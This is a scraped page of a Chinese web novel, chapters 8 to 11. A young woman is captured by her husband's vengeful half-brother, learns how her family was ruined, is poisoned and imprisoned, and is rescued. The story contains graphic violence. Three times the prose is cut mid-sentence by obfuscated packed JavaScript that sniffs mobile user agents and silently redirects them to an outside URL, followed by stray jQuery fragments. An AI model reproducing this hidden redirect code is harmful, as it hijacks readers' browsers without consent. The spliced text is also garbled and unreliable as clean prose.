纪杪春正想得出神,却突然被吹进车内的寒风冻得一激灵,她撩开帘子,发现雪比之前大了好多,这回冬天是彻底来了。她撑着头看着车外的雪,想着不知道姐姐现在怎么样了,段襄又去了哪里。
明明时间不早了,可由于下雪的原因,天空却比傍晚还要亮些。还在狱中的时候,京城也下了这么一场大雪,当时的她还不知道父亲母亲已经死了,她扒在小小的窗边朝外望,还想着以往下雪的那天,家里都会张罗着包饺子吃。
有的时候,她还会想着下这么大的雪,苏晞光的衣服够不够厚,之前让人给他做的冬衣有没有穿。
那时的她身处狱中,每天都念着出去的日子,也算是有盼头。可那之后,新帝登基,大赦天下,她才知道父母早在刚入狱的时候就去世了。
城中认识纪杪春的人知道她是罪人之女,见着她都绕道走。孩子们看到她身上穿着囚服,便拿烂菜叶和石头砸她。那时的纪杪春牵着痴傻的姐姐,唯一的念想就是等苏晞光。哪怕别人唾弃她,骂她,打她,她也要在城中等着,她怕自己一走,苏晞光便找不到她了。
她等啊等,一连等了几天也没等到他,然后她便不等了,也知道苏晞光不会来了。
她被抛下了。
也许是下了雪,又可能是因为有人提起了纪家,明明许久之前纪杪春便已经没有家了,可这一刻,她却突然有些孤独。车外传来断断续续的讨论声,看着远处霜雪覆盖的千山,纪杪春觉得天地间像是只有她一人。
8. 梦中人
雪越下越大,没过多久,马腿便陷进雪中走不动了。大家牵着马,推着车往前走着,想着就近找个地方歇息,纪杪春也下了马车跟着走。之前手上受的伤还没完全好,现在又被冻得生疼,她将手缩到袖子里,企图能让自己暖和一些。
虽然不说是娇生惯养,可纪杪春从小到大都没短了吃穿,要是以前的她哪受得了这样的苦,也就是一年狱中的磋磨让她没了脾气。
自从出了京,纪杪春便一直在路上奔波,虽然没像纪清冬那样直接病倒,但身体也没之前好了,她深一脚浅一脚地踩在松软的雪地里,努力追赶着眼前的商队,却还是慢慢地被落下了。
纪杪春大口喘着气,睫毛上都结了霜,眼看着车队离自己越来越远,她想叫住那个跟元磊关系好的商人,却发现自己发不出任何声音。
风雪越来越大,让她看不清眼前的路。纪杪春踉跄地走了两步,随后便一下子跪倒在地。她撑着冰冷的雪想要站起来,可一双手却先一步将她扶起。
看着眼前之人那熟悉的面容,纪杪春声音颤抖地念出他的名字。
“……苏晞光?”
眼前之人明明像是苏晞光,却又让人觉得陌生。明明这么大的雪,他却还穿着一件夏装,扶着纪杪春的手也没有一丝温度。
这衣服是纪杪春做的,她不擅长女红,针脚也歪歪扭扭的,可苏晞光却总是穿着它。
纪杪春揪着这不太好看的衣服,许久说不出话来,眼泪却止不住地往下落,风一吹,脸便有些刺痛。她从小便不爱哭,和离的时候她没哭,入狱的时候她没哭,就连知道父母去世的那天,为了瞒着纪清冬,她也没哭。
她之前受了那么多的苦,连一滴眼泪都没有掉,为什么现在却哭了?
从与苏晞光分别那日算起,已有一年多了,在这段时间中,纪杪春从未梦到过他。可当苏晞光出现在她眼前的这一刻,纪杪春却觉得像是做梦一样。
可她知道这是假的,她还没到江南,苏晞光也不可能在大雪中穿得这么单薄。
纪杪春觉得也许是她要冻死了,眼前的苏晞光便是死之前的幻觉。
“我要死了吗?”她轻声问道。她好想父亲母亲,却又放心不下还在黎镇的姐姐。
若是母亲能看到她现在的样子,又该有多心疼啊。
燕北的雪花很大,被狂风裹挟着落下,一片又一片地穿过苏晞光的身体,他抬起手擦去纪杪春的眼泪,却在指尖接触到眼泪的那一刻像被烫到似的缩了一下。
“你不必……急着来找我。”苏晞光微不可查地叹了一口气,他替纪杪春将凌乱的发丝别到耳后,像是二人成亲后他经常做的那样。
如果可以的话,苏晞光希望纪杪春不要再找他了。
他希望纪杪春能好好吃饭,睡个安稳觉,别再像现在这样饥一顿饱一顿,手上都是细密的伤,身上被毒虫咬得青一块紫一块。
他们二人也不必急于相见,他会等着她的。
可是这些话,他却无论如何都不能告诉她。
苏晞光在燕北徐家待了十年,他觉得这十年过得很快很快,快到他忆不起自己读过什么书,念过什么诗。可成亲后的一年,对他来说却又很慢很慢,慢到他记得院子里的小黄花是怎么开的,雨又是怎么顺着屋檐落下来。
他从小便东躲西藏,过着颠沛流离的生活。对他来说,跟纪杪春成亲的那年,便是他一生中最美好的时光了。
可现在,眼前的纪杪春头发乱糟糟的,受了伤的手缩进袖子里,她哭得眼睛都红了,这一切都是因为他。
他不应该让她哭的。
这一刻,苏晞光后悔了,他希望纪杪春把瓢踩坏的那天,他没有去找她要那五两银子,这样两人便不会相遇了。
……
纪杪春觉得头有些痛,她缓缓睁开眼睛,却发现自己已经坐在马车里了,身下是硬邦邦的木板,身上裹着厚厚的棉衣。旁边还有个名叫柳芜的跟车的妇人,见纪杪春醒了,便开始跟她絮絮叨叨地说着什么。
“你总算醒了。”柳芜摸了摸纪杪春的额头,松了口气:“已经不热了,这荒郊野岭的连个医馆都找不到,幸好带了点药……”
“我怎么会在马车上?”纪杪春咳了两声,哑声问道。
“嗐,之前咱们都下车跟着走,谁知没走几步你就没影了。幸好我留意了一下,顺着路往回走了两步,发现你就在雪里躺着呢。”想到那时的纪杪春,柳芜心有余悸地拍了拍胸口。
那时雪下得正大,没一会纪杪春的半个身子便被雪盖住了,她浑身发烫,也没了意识,在车里缓了好久才醒。
“当时你口中一直念叨着要回家,妹子,反正咱们现在离黎镇也不远,要不然找人把你送回去得了。”想到当时纪杪春额头发烫,脸上还挂着泪珠的样子,柳芜觉得她也怪可怜的。
明明年纪不大,也不知道为什么非要跟着商队受罪,这要是在别人家,都是父亲母亲手心里的宝贝,捧着怕丢了,含着怕化了。
纪杪春头晕晕的,她缓缓摇了摇头,想着雪中的苏晞光果然是幻觉,或者是她犯了癔症。
“话说回来,你为啥非要去江南啊?”见纪杪春明明那么想家,却还是要跟着车队去江南,柳芜便有些八卦地问道:“元老板也没细说,就说你要去找人。”
“我……找我夫君。”纪杪春犹豫了半晌,还是实话实说了。
柳芜啧啧两声:“你年龄看着不大,没想到竟然都成亲了。要我说你就别找了,你夫君若是想见你,又怎会舍得你受这罪。说不定是个负心汉罢了,你不如忘了他,早日和离算了。”
听到这话,纪杪春突然想起来段襄好像也曾劝她忘了苏晞光。
可是她不甘心。
“我是打算去要钱的。”纪杪春像是要说服自己一样,又将这话重复了一遍。
“等要到钱,我才懒得找他,我一辈子都不想再出现在他面前。”大家都让她忘了苏晞光,可她明明只是为了钱而已。
一定是这样的。
马车摇摇晃晃地行驶着,柳芜不再说话,纪杪春抬头盯着破破烂烂的木顶,眼睛有些酸涩。这马车很是老旧,车顶上坠着一个小小的香包,跟纪家马车上的那个很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129348|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像。
虽然纪家的马车也不算豪华,但是苏晞光在上面放了许多靠枕和垫子,再颠簸的路也很舒适。刚成亲那年,二人经常坐着马车出去游玩,每次纪杪春都会在晃晃悠悠的行驶途中睡着,可哪怕到了地方,苏晞光也从不主动叫醒她。
虽然离那时已经过去了一年,这中间又遭受了牢狱之苦,纪杪春的脑海中却还是浮现出那般场景——苏晞光在马车外等了不知多久,听到马车内有响动,便掀开车帘,笑着看向纪杪春。
纪杪春能记得清楚,是因为在成亲的那一年中,这个场景曾经出现过很多很多次,可惜当时只道是寻常。
雪逐渐变小了,但由于耽搁了太久,到了深夜车队却还是没有寻到合适的住所,于是便只好就地休息。有人点起篝火,大家便都围着火堆坐下取暖。荒郊野岭,天寒地冻,篝火的热度甚至都无法让人保持温暖,于是纪杪春便帮着柳芜把厚棉被从箱子里掏出来分发给大家。
一阵大风吹过,地上轻飘飘的雪被裹起,吹到脸上又冷又疼,纪杪春正生着病,她呆了一会,还是忍不住回了马车。
马车里很是昏暗,纪杪春靠在货物上昏昏欲睡,心里却总是有些不安。突然间,车外传来一声惊叫,随后只听噗噗两声,一股血腥气便在狭窄的车厢内弥漫开来。纪杪春将车帘掀开一个缝,只见柳芜的头颅就这么咕噜噜地滚到车厢边。
“可真叫我好找。”黑衣人从暗处走来,他提着滴血的剑,声音沙哑地说道:“听说纪杪春跟着你们走了,她人在哪?”
压货的车夫和商队护卫纷纷掏出了武器,却一下便被黑衣人削断了手,他们哀嚎着倒下,痛苦地躺在地上扭动。
“我们这里没有叫纪杪春的人,大人是不是找错了……”一个商人满脸堆笑,身子却抖如糠筛。
“有没有,杀光了便知。”黑衣人冷哼一声,他抬起手来,还未等剑落下,纪杪春便从车厢里冲了出来。
“别杀他们!”她这样喊道。可黑衣人却不管那么多,他像是为了泄愤似的将商队的人一个接一个砍死,看到有人想逃跑,他更是把人捅成了筛子。
天上的云聚在一起,把月亮都挡住了,篝火也灭了,只余下眼前一片漆黑。明明之前很是热闹的车队,一夜之间却只剩下纪杪春独活。
雪越下越大,像是轻柔的棉被一般缓缓地覆盖在尸体上。纪杪春的衣袖全是被溅上的血,她浑身颤抖,想要问问黑衣人是怎么知道自己在这里的,却又怕听到答案。
最终,她还是咬紧牙关问了出来:“黎镇元家呢?你把他们怎么了?”
“杀了。”黑衣人轻飘飘的一句话,却瞬间抽干了纪杪春的全部力气。
“你若是再跑,因你而死的人只会更多。”看着纪杪春灰败的脸色,黑衣人满意地笑了笑:“还有,我劝你别想着自杀,你要是在路上死了,我就去屠了黎镇。乖乖跟我回去复命,主子若是心情好,说不定最后能给你一个痛快,送你与爹娘团聚。”
见纪杪春不语,他又说道:“恨吗?要恨就恨你那个夫君吧,凡是沾上他的人,是不会有好下场的。”
9. 世家子
纪杪春离开黎镇之后,段襄先是去了城东徐家,拿了信后刚打算偷偷溜出去,就听到屋外传来一阵交谈声。
“唉,仵作前脚才把尸体抬走,里正大人就要咱们把这院子收拾了,说是怕不吉利,可这也太着急了。”
“要我说这火也起的蹊跷,听说起火那晚有人听到徐家传来争吵声,可徐娘子和她丈夫一向恩爱有加……”
段襄轻手轻脚地走到门边,从门缝往外看去,只见两个着灰衣的小吏提着工具正朝徐家走来,到了门口,却又停下脚步窃窃私语起来。
“不过也是,我听说这徐家的死跟江南沈氏有关系,里正大人是怕惹了贵人,为了保命,才睁一只眼闭一只眼地放那凶手走了。”
“怪不得!之前那黑衣人大白天就敢挨家挨户的找人,原来是有恃无恐啊,我看人便是他杀的。”说完这句,想到黑衣人那面无表情的样子和沾血的领口,小吏不禁打了个哆嗦。
“那可不嘛,哪怕那人就是条狗,也是沈家的狗,咱们这小地方可惹不起……等等,什么声音?”另一人一边说着,一边想推开徐家的门,可远方却突然传来几声惨叫,引得他们转头望去。
“最近镇上怎么这么不太平?”两个小吏对视了一眼,拔腿便往声音来源处跑。
那声音像是西边传来的,段襄皱着眉,想到那晚穷追不舍的黑衣人,心里有种不好的预感——刘湘芝一家便住在镇西。
……
把商队的人全杀了之后,黑衣人找了根绳子将纪杪春捆了起来,又牵了一匹拉货的马,纪杪春像只牲口一样被打横放在马上。其实对黑衣人来说,纪杪春跟牲口也没什么区别,要不是主子非要活的,他早就把她剁成肉泥了。
为了避免节外生枝,他打算先把纪杪春送到主子那再说。
纪杪春心如死灰,一路上都没说话,她本想找苏晞光要了钱后便带着姐姐好好生活,可现在姐姐没了,她又连累了元家和商队的人。
是她错了,也许她最开始就不应该找苏晞光。
黑衣人骑着马带着纪杪春一路南行,因为之前吃过亏,这回他痛定思痛,连睡觉都睁着一只眼睛,生怕纪杪春跑了。
越往南走,地上的雪越薄,差不多过了一个月,二人便到了江南。眼看要进城了,黑衣人竟然大发慈悲的让纪杪春梳洗了一番,又让她换了干净的衣裙,还租了一辆马车。
看着收敛了许多的黑衣人,纪杪春觉得他那主子应该势力不小。
江南还没下雪,大街上人来人往的,相当热闹。纪杪春坐在马车中把帘子掀开一个缝,只见街边摆满了卖货的摊子,有卖糖人的,字画的,还有卖荷包的。看着摊子上那些荷包,纪杪春便想起来自己也曾经绣过一个荷包,但是比这摊子上卖的丑上许多。
苏晞光一向很珍视纪杪春送他的每一样东西,哪怕这荷包再丑,他也总是随身带着。苏晞光有一个玉匣,里面装满了纪杪春送给他的小玩意。他曾说过等有了孩子之后,便要将小匣子埋在后院的榕树下,省得里面的东西被孩子玩耍时弄坏。
明明都是些不值钱的东西,可苏晞光却说得很是认真。
纪杪春看得出神,见黑衣人没什么反应,她便想将帘子完全掀开,却被黑衣人拿刀鞘狠狠地拍了一下手背,只好作罢。
路边似乎有人正在算命,声音传到了马车里。那人煞有介事地说,将死之人能看到未转世的魂魄,如果有人见到已经去世很久的亲友,说明这人也命不久矣。
想到纪清冬说自己在林中见到了鬼,纪杪春微微垂下眸子。
这么一看,那时的姐姐便已经是将死之人了?
这几日,她闭上眼睛就会想到那因她而死的商队和刘湘芝一家,还有离别时紧紧抱着她不让她走的纪清冬。有的时候,她又会想起雪地中将她扶起的苏晞光。
苏晞光明明是江南人,却不怎么与纪杪春谈论自己的故乡。他说自己父母双亡,纪杪春便也没主动过问江南的事,生怕让他伤心。
在忆起那个叫西瓜的小弟之前,纪杪春一直以为苏晞光离开江南后便直接去了京城。可从那日黑衣人与徐娘子说的话来看,他竟在徐家呆了整整十年。
也许在他很小的时候便远离家乡,去了燕北。可这些事,他却像是刻意瞒着纪杪春一般,从未跟她提起。
马车平稳地行在青石板铺就的街道上,远离闹市之后周围越发安静,只能听到马蹄的哒哒声。没过多久,马车便停了下来。
黑衣人带着纪杪春从小门进了一处庭院,进门之前收走了她身上所有的物品,包括那本兔园册。这庭院设计得很是复杂,曲径通幽,颇有美感,可见定是下了一番功夫。
穿过庭院与回廊,纪杪春被带到了一个像是书房的地方。屋内坐着一个穿着青袍的男子,年龄应该不到三十,眉眼看着颇为眼熟。
“你就是纪杪春?”男子笑了笑,示意纪杪春坐下:“手下人粗鄙,失手杀了人,见笑了。”
失手杀了人?他的意思是商队和刘湘芝一家都是那黑衣人失手杀的吗?纪杪春觉得可笑,视人命为草芥的手下,道貌岸然的主子,真是什么样的人养什么样的狗。
纪杪春死死握着拳,一动不动地站在原地。那晚商队的惨状不断地在她脑海中浮现,她盯着眼前之人,想着哪怕死在这里,也得在死之前挠花他的脸。
看着纪杪春的眼神,男子有些玩味地笑了一下:“你这眼神倒是跟那野种很像……我问你,沈晞光在哪里?”
纪杪春哪认识什么沈晞光,况且她早在进门时便打定主意什么都不说,要杀要剐随他便。
见纪杪春像个蚌壳一样紧紧地闭着嘴,男子便也不再多问。他拿出那本从纪杪春身上收走的兔园册随便翻了几页,随后嗤笑一声。
这字迹他再
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129349|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟悉不过了,本就是他教的字,只一眼他便能认出是谁写的。
“我给你讲个故事吧。”烦躁地将那本破破烂烂的兔园册甩到一旁,男子撑着头,笑吟吟地看着纪杪春。还没等对方有什么反应,他便自顾自地开了口。
江南多望族,曾经势头最盛的便是沈家。可若干年前,由于前任家主坠马而亡,他那不成器的儿子沈瑜便只好被迫成了新任家主,在那之后沈家便不复从前。虽然沈家没落了,但瘦死的骆驼比马大,尤其是在沈瑜娶了范阳卢氏的女儿之后,沈家表面上便还维持着世家大族的体面。
沈瑜有两个儿子,大儿子名为和玉,由发妻所生,可小儿子的亲生母亲却只是江南一个姓苏的歌女。那歌女年少貌美,幼子又聪明伶俐,沈瑜便逐渐冷落了发妻。最终,卢夫人不堪此辱,吞金自尽。
届时范阳卢氏风头正盛,可沈家却已逐渐式微,为了稳住岳丈一家,沈瑜便掩盖了卢夫人去世的真相,并给那歌女灌了毒酒。随后,他命人将幼子丢到燕北,转头便扶持起长子,努力营造出父慈子孝的假象。
那时沈家幼子年龄尚小,个头还没桌案高,走的时候一步三回头的,着实令人怜惜。
稚子无辜,沈家长子从未将母亲之死迁怒于幼弟,再加上母亲死后父亲对他又格外看重,故心里虽然悲戚,但是他对沈瑜却还是恭恭敬敬,不敢有任何顶撞。
可直到他发现父亲将那歌女的侍女送去燕北服侍幼弟,又时不时差人送些银钱,才明白哪怕他再恭敬,也比不上沈瑜心中那个颖悟绝伦的小儿子。
于是,他便杀了沈瑜,成为沈家新的家主,又断了那源源不断送去燕北的补贴。在卢氏的扶持之下,他站稳了脚跟,也没人敢询问上一任家主的去处。
他本想将自己的弟弟也杀了,可他只知道那孩子在燕北,却不知具体在哪。给那野种送钱的下人倒是忠心得很,哪怕四肢都被斩断,眼珠都被扯了出来,却还是什么都不说。那姓徐的婢女也有些能耐,不知她把沈家幼子藏在了哪里,一点消息都没有。
在那之后,沈家长子便逐渐放下了这件事,他醉心权势,频繁地与京中官员结交,想着早晚有一天要让沈家恢复昔日的荣光。
可没想到,多年之后,他又听到了自己弟弟的消息。那人改了母姓,去了京城,似乎还不怕死地收集他勾结朝官的证据,想要状告朝廷。
可后来,他这弟弟成了亲,似乎也转了性子。也许是想更稳妥一些,这昔日的贵族子弟竟然要靠着科举入朝为官,企图与他抗衡。
“这沈……不对,现在应该叫他苏晞光。”沈和玉轻笑了两声,继续说道:“我明明放了他一马,可他却总像只跳蚤一样,在我眼皮子底下蹦跶,着实是不识抬举。”
“既然如此,我便要给他点教训看看……你说是不是,弟妹?”说完这句,沈和玉勾起唇角,饶有兴致地盯着纪杪春。
10. 狱中身
说起来,沈和玉已经很久没有见过沈晞光了。自从他被送到燕北起,已经有十余年了,沈和玉都忘了他的样子,只记得他小的时候很爱笑,一笑眼睛便弯成了月牙。
对沈和玉来说,他的少年时期着实是不太美妙,那时的他一年到头也只能见两三次父亲,可即便是这两三次,沈瑜也很少对他露出笑脸。明明是当地有名的世家大族,但到了冬天,却没人给他母亲添些炭火。后来,当沈和玉走进卢夫人冰窟一样的卧房时,才知道为何母亲会自尽。
沈瑜对她不上心,下人便也会有样学样的敷衍。卢夫人生性高傲,拉不下脸去向沈瑜告状,于是便只能日复一日地忍受着彻骨的寒凉。
想到过去,沈和玉站了起来,他走到纪杪春面前,低头望着她,神情冷淡地说道:“你说,我明明已经打算放过他了,可他为什么还想方设法的要害我呢?”
在纪家人下狱之后,沈和玉曾派人去纪府搜过好几遍,却始终没找到沈晞光收集到的那些勾结朝官的证据,而他本人也没了影踪。沈和玉虽然表现的不在意,可那些证据却像一根刺扎在他的心里,让他时不时便能想起来。
“……你谋害生父,滥杀无辜,勾结朝官,苏晞光若是想将你告上朝廷,也只能算是替天行道。”想起那些被黑衣人杀死的无辜之人,纪杪春恨恨地说道。话音未落,沈和玉便拿起桌上的镇尺朝纪杪春头上砸去。
巨大的力道袭来,纪杪春满头鲜血,头疼欲裂,她往后退了几步,控制不住地跌倒在地。
“没想到你还有心思替他说话。”看着满头鲜血的纪杪春,沈和玉冷笑了一声:“你可知纪家为什么会入狱?”
没等纪杪春回答,他便继续说道:“谁叫你父亲有沈晞光这么个好女婿呢……若是他安分守己地呆着,我倒是可能放你们一马,可他偏偏不老实。”
“他非要跟我对着干,我便先拿他岳丈开刀。京中多豺狼,纪桐这么好的一个替罪羊,不知有多少人抢着要,我只用稍加点拨,便会有人寻着味儿找上你家。”
纪杪春趴在华贵的地毯上,听着这话只觉得遍体生寒。
难怪父亲入狱之前,有那么多人想要与他做生意,原来是沈和玉下的套。看来他这些年在结交权贵上颇有心得,手都伸到京城去了。
低头望着纪杪春鲜血淋漓的脑袋,沈和玉心里满是快意。
沈晞光,你不是很风光吗?家庭美满,前途光明——就跟以前的他一样。沈和玉一边这样想着,一边勾起唇角。
在沈晞光出生前,他是沈瑜唯一的儿子。可沈晞光却夺走了原本属于他的东西,他们母子也间接地害死了他的母亲。
他不屑于直接杀了沈晞光,于是便设计让纪家入狱,又派人屠了徐家,他要让沈晞光也体会到那种属于自己的东西被一点一点抢走的感觉。
所以,沈和玉不急着找沈晞光,甚至希望沈晞光躲得再久一点,直到看着那些他曾经珍视的东西尽数被毁去,这才叫报复。
见纪杪春没了动静,沈和玉便踢了踢她的脑袋:“你以为沈晞光为什么会和你成亲,不过是想利用纪家的钱财往上爬罢了。现在纪家倒了,他倒是跑得无影无踪。所以,你要恨就恨自己找了这么一个心怀鬼胎的夫君。”
沈和玉虽然这么说着,但这理由连他自己也不信。他虽然与苏晞光不亲近,却也知道这小子倔得很,向来不肯迁就,又怎会为了拿纪家当垫脚石就随便跟人成亲呢?
“……他叫苏晞光。”许久之后,纪杪春沙哑地出声:“我夫君叫苏晞光,不是沈晞光。”
“连你沈家家仆都帮他,宁愿死也从未说出他在北燕的藏身之所,只能说明你夺了权却依旧不得人心。”她一边说着,一边努力爬起来。
纪杪春头晕晕的,眼前一阵阵发黑,可她却还是努力地想要直视沈和玉那张扭曲的脸。
反正父母死了,姐姐也死了,世间只余下她一个人,她不怕死。
杀父仇人就在眼前,纪杪春好想一刀捅死沈和玉,可她手无寸铁,就连衣袋里装着的牙签都被黑衣人收走了,况且她现在也没有力气。
但哪怕杀不了沈和玉,她也不能让这小子太得意了。
“你为了报复苏晞光,到底杀了多少人?”纪杪春一步一步往前走着,头上滴落的血在身前晕开,像是铺了一条猩红的路。
“呵。”沈和玉没回答她的问题,他钳住纪杪春的脖子,双眼通红,一字一顿地说道:“我杀了那么多人,可你怎么没死呢?”
“你出狱那天,我派人去杀你,之后却再也没了消息。”
“不过,幸好你没死,听说你突然出现在燕北之后,我便改变主意了。等找到沈晞光,我要当着他的面将你的肉一片一片挖下来,喂给狗吃。”看着纪杪春灰败的神色,沈和玉嘲弄地笑了一下。他将纪杪春丢在地上,又将兔园册甩在纪杪春的脸上,然后便跨过她离开了书房。
再之后,纪杪春便被关进了地牢。
牢中,纪杪春蜷成一团,想着沈和玉说的那些话,觉得算命先生说的可能是对的,她和苏晞光不合适,二人同年同月同日生,犯了伏吟煞,两命相争,不吉利。若是她当初没有执意要与苏晞光成亲的话,父亲便不会被引入局中,纪家不会倒,那些枉死之人也不必死。
牢中潮湿阴冷,纪杪春浑身是伤,止不住地颤抖。
明明才从狱中出来不久,现在却又进了地牢。对此,纪杪春只能将其归结为自己实在是倒霉。
她想父亲和母亲,也想姐姐。这地牢里只有一捧潮湿的稻草,她想躺到软软的床上,盖着厚厚的被子好好睡一觉。
纪杪春的额头有些发烫,迷迷糊糊中,身下的稻草仿佛真的成了柔软的褥子,她缓缓躺下,借着牢中幽暗的光线翻看着那本已经烂的不能再烂的兔园册。
不知为何,已经沉寂了许久的兔园册上突然出现了好多字,没等纪杪春仔细分辨就又消失了,像是有人通过兔园册焦急地想传达些什么,却又碍于某些原因将字隐去。反复几次之后,这兔园册才消停了,在那破破烂烂的书页上只留下了四个字。
证据,回京。
看着这四个字,纪杪春觉得自己的癔症可能又犯了。
从沈和玉拿到兔园册的表现来看,他看不到册子上那些突兀的字,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129350|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全天下也许只有纪杪春一个人能看到那些字。
一阵困意袭来,纪杪春缓缓的地闭上了眼睛,彻底失去意识之前,她好像又看到苏晞光了。
苏晞光身上还穿着那件不太好看的衣服,他一脸焦急地看着纪杪春,像是有话要说,最终却化为一声叹息。
一连几日,纪杪春都是在这牢中度过的。她每天都躺在稻草上,想着死了也好,若是真死了,便不用再受苦了。可每当她有这样的想法,兔园册便会像之前那样反复地出现一些字,最后却只留下“证据”和“回京”。
在这几天中,沈和玉也来过一次,纪杪春已经没力气跟他争执了,于是在沈和玉再次问她苏晞光的行踪时,她也只能费力地摇了摇头。
沈和玉这次没有打她,而是拿了一个小小的红色药丸强迫她吞下。
这药丸甜甜的,虽然明摆着不是什么好东西,但纪杪春却还是忍不住回味了一下,毕竟她已经很久没吃过甜的东西了,上一次吃还是住在破庙的时候,纪清冬抢了张大爷给孙子买的糖葫芦,连带着她也沾了光。
纪杪春不知道自己要在这里待多久,但是她现在死都不怕了,在哪里呆着对于她来说也没什么区别。
不知又过了几天,纪杪春呼吸微弱地靠在石墙上,听到一阵窸窸窣窣的声响,本以为沈和玉那个变态又来了,可当她费力的抬头后,却看到了一张熟悉的面孔。
“……段襄?”纪杪春眨了眨干涩的眼睛,觉得自己可能又犯癔症了——也许她真是要死了,最近犯癔症的次数怎么这么频繁。
眼看着纪杪春又要将眼睛闭上,段襄急切地低声说了一句:“是我,我来带你出去。”
见纪杪春表情怔怔的,段襄压下心中酸楚,接着补充道:“纪清冬没死。”
一听这话,纪杪春立刻睁大了眼睛。她费力的站了起来,随后便被段襄背到了背上:“时间紧迫,边走边说。”
狱中平日里都有人值守,为了能顺利劫狱,凭着多年做贼的本能,段襄五日之前便来踩过点,发现这狱中有个暗门,正好通向沈府后山。
随后,他又找机会偷走了守卫的钥匙。得手的那一刻,段襄真心觉得偷盗是门手艺。
纪杪春刚离开黎镇的那天,他偷偷翻进了城东徐家的院子,恰好听到两个小吏正在谈论江南沈氏,于是便留了个心眼。在那之后,黑衣人却不知从哪里得了消息,直接返回黎镇找上了元家。逼问到了纪杪春的行踪后,黑衣人便杀了元家众人,可却偏偏落下了纪清冬。
那日,纪杪春走后,纪清冬便偷偷跟着商队出了黎镇,可刚出镇子没多久就跟丢了,恰好躲过了黑衣人。段襄替元家收尸时没见到纪清冬,于是就在镇子周边找了一圈,果然找到了她。
料到那黑衣人肯定会循着商队的路线找纪杪春,段襄便带着纪清冬一路往南,随后便看到了那些雪中的尸体。二人本以为纪杪春死了,可想着那两个小吏口中的沈氏,段襄还是打算来江南看看。
于是他们俩就这样坐着驴车,一路打听着来了江南。本以为找到纪杪春便好,可当看到她的样子后,段襄却觉得自己还是来晚了。
11. 返京城
段襄把纪杪春救出地牢后没多久,看守地牢的下人便发现牢内空空如也,他犹豫了一下,明知自己绝对逃脱不了责罚,却还是如实禀告了沈和玉。
“跑了?”沈和玉来到地牢,看着那本落在牢中的兔园册,眼中神色晦暗不明:“跑了便跑了,一个死人罢了。”
在沈和玉心中,纪杪春在沈府呆了那么久,可沈晞光却对她毫不在意,连一丁点要来江南寻她的迹象都没有,只能说纪杪春在沈晞光心里也并没有多重要。
这么一来,纪杪春便没了价值。
他给纪杪春吃的红色药丸虽说不是令人当场暴毙的剧毒,却也很难找到解药,这毒能让纪杪春慢慢失去神智,最后痛苦地死去,而她最后死在哪里,沈和玉倒是觉得无所谓。
虽然纪杪春知道沈和玉杀了前任家主沈瑜,陷害了纪家,可沈和玉却丝毫不慌张。他打心底里看不起纪杪春这种下等人,在他眼中,这样一个没了家人,失了靠山,又跑了夫婿的女子是搅不起什么风浪的。何况就算她将此事告知别人,也只是会被当成一个说胡话的疯女人,因为她没有证据。
所以哪怕纪杪春跑得无影无踪,在沈和玉的眼中,也只能是知道真相后绝望地找个地方慢慢等死。这样一个人,又怎么值得他费心去找?
当然,这毒也有一个好处,那便是死之前纪杪春能将身边的所有人都忘记,包括他那个负心汉弟弟沈晞光。明明被抛弃了,可纪杪春的表现却像是依旧惦念着沈晞光,这让沈和玉相当不屑。
他觉得纪杪春愚蠢至极,但念在她痴情的份上,便还是给了她这颗能忘却一切的毒药,也算是他仁至义尽了。
瞟了一眼那看守地牢的下人,沈和玉轻哼一声:“连个人都看不住,真是没用。”
“给我剥了他的皮做成鼓,再把肉拿去喂狗。”说完,沈和玉无视身后的惨叫声,一甩袖子转身便出了地牢。
沈府的后山山顶上有一个破庙,逃出地牢后,段襄便背着纪杪春一路朝山上跑。看到破庙的那一刻,纪杪春觉得自己跟庙真是有缘。
纪清冬本是在庙中乖乖坐着,听到声音后便跑了出来。她瘦了不少,可神情却仍似孩童般天真。看到纪杪春的那一刻,她忍了又忍,最后却还是红了眼眶。
明明走的时候还好好的,怎么没过几日便成了这样?
她想问一问纪杪春怎么浑身是伤,可见纪杪春满脸疲惫,便又闭了嘴。
“……我要回京。”刚进庙里,没等喘口气,纪杪春便扯住段襄的袖子说道。
既然已经知道了沈和玉才是让纪家入狱的幕后主使,纪杪春便没办法再像先前一样无知无觉地活着,否则她又怎么对得起父亲母亲,对得起纪家那些被连累的下人?
苏晞光曾经收集过沈和玉勾结朝官的证据,那只要她将那些证据找出来,不说扳倒沈家,起码能让沈和玉脱层皮。新帝登基,正是树立威信之时,定不会容忍有人在自己眼皮子底下相互勾结。
她虽然势单力薄,但也还有烂命一条。她不怕死。哪怕是豁出这条性命,她也要让世人知道沈和玉的所作所为。
